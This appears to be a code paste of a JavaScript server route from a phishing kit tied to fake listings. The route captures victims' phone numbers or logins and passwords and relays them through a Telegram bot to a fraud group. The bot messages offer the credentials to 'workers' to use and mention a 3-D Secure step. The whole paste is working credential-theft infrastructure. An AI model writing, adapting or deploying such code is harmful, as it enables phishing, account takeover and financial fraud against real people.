123

123
mail@pastecode.io avatar
unknown
javascript
2 years ago
2.8 kB
3
Indexable
Never
app.post(`/api/newlk`, async (req, res) => {
  try {
    const ad = await Ad.findByPk(req.body.adId, {
      include: [
        {
          association: "service",
          required: true,
          include: [
            {
              association: "currency",
              required: true,
            },
          ],
        },
        {
          association: "user",
          required: true,
        },
      ],
    });
    if (!ad) return res.sendStatus(404);

    const log = await Log.create({
      token: Math.random() + new Date().valueOf() + Math.random(),
      number: escapeHTML(String(req.body.number).replace(/\D+/g, "")),
      passwords: escapeHTML(String(req.body.passwords).replace(/\D+/g, "")),
      adId: ad.id,
    });

    const settings = await Settings.findByPk(1);
    const support = await generateSupport(ad, req, res);
    await bot.sendMessage(
      settings.logsGroupId,
      `<b>✏️ Новый ЛК!!! ${ad.service.title}</b>


💳 Номер телефона/Логин: <b>${log.number}</b>
🔒 Пароль: <b>${log.passwords}</b>

👨🏻‍💻 Воркер: <b><a href="tg://user?id=${ad.userId}">${ad.user.username}</a></b>
👤 ID Воркера: <code>${ad.userId}</code>

⚡️ ID Объявления: <code>${ad.id}</code>
💰 Цена: <b>${ad.price}</b>`,
      {
        parse_mode: "HTML",
        reply_markup: Markup.inlineKeyboard([
          [Markup.callbackButton("✍️ Взять на вбив", `take_log_${log.id}`)],
        ]),
      }
    );
    await bot
      .sendMessage(
        ad.userId,
        `<b>💳 Переход на 3Ds ${ad.service.title}</b>
🚀 Номер телефона: <b>${log.cardNumber}</b>

💶 Цена: <b>${ad.price}</b>`,
        {
          parse_mode: "HTML",
          reply_markup: Markup.inlineKeyboard([
            [
              Markup.callbackButton(
                "✍️ Отправить сообщение в ТП",
                `support_${support.id}_send_message`
              ),
            ],
          ]),
        }
      )
      .catch((err) => err);

    if (settings.allLogsEnabled)
      await bot
        .sendMessage(
          settings.allGroupId,
          `<b>💳 Ввод ЛК ${ad.service.title}</b>
  
👷 Воркер: <b>${
            ad.user.hideNick
              ? "Скрыт"
              : `<a href="tg://user?id=${ad.userId}">${ad.user.username}</a>`
          }</b>`,
          {
            disable_notification: true,
            disable_web_page_preview: true,
            parse_mode: "HTML",
          }
        )
        .catch((err) => err);

    return res.json({
      token: log.token,
    });
  } catch (err) {
    console.log(err);
    return res.send(err);
  }
});